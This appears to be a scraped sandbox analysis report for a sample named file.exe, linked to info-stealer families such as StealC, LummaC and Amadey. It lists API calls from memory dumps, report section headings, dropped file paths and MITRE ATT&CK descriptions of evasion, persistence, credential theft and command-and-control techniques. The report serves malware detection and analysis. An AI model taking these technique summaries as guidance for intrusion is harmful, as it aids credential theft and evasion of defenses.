calloc.MOZGLUE ref: 6CE70DF5
TlsGetValue.KERNEL32 ref: 6CE70E2D
TlsGetValue.KERNEL32 ref: 6CE70E58
TlsGetValue.KERNEL32 ref: 6CE70E84

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 38d62911ba83f5460ed8aa0f4da03406bc487fedd41b720b2004575393f5b36e
Instruction ID: ee63a5d3c863f42d4336dad098ca58b410bff0f98052664fbd481569fa046f2b
Opcode Fuzzy Hash: 38d62911ba83f5460ed8aa0f4da03406bc487fedd41b720b2004575393f5b36e
Instruction Fuzzy Hash: 7B31C5B0A643908BDF60AF78C44436977B4FF0630CF21462DD89887B11DB368096CBA2

Function 6CE70F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE12AF5,?,?,?,?,?,6CE10A1B,00000000), ref: 6CE70F1A
malloc.MOZGLUE(00000001), ref: 6CE70F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE70F42
TlsGetValue.KERNEL32 ref: 6CE70F5B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 89242cfc04e343dee7ceec908f75187ed512bbd10cb06f1b78c1aeebca45188b
Instruction ID: 3c5dc38c01d780d39546f5346de487842b6185e6eced5601a97c8a0150bede7f
Opcode Fuzzy Hash: 89242cfc04e343dee7ceec908f75187ed512bbd10cb06f1b78c1aeebca45188b
Instruction Fuzzy Hash: 590128B1E202905BEB602B3A9D056627ABCEF4325DF210125EC5CC2A21E732C416C6F2

Function 6CE21EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE21ECE
free.MOZGLUE(?), ref: 6CE21EDF
free.MOZGLUE(?), ref: 6CE21EEF
free.MOZGLUE(?), ref: 6CE21EF5

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3e834df5542804eae1e121e0b809e49b205b509c3dd482e742791b1fdb94a315
Instruction ID: 8650dab6838c11975dc01f8781978aadd071f729046011af44ae956dce1ae8fb
Opcode Fuzzy Hash: 3e834df5542804eae1e121e0b809e49b205b509c3dd482e742791b1fdb94a315
Instruction Fuzzy Hash: 7BF0B4B17101416BEB00ABA6DC45F27737CEF451A8B240434EC6DC3A00D72AF91086A1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Poverty Stealer

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAEBFIIECBGCBGDHCAFC

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre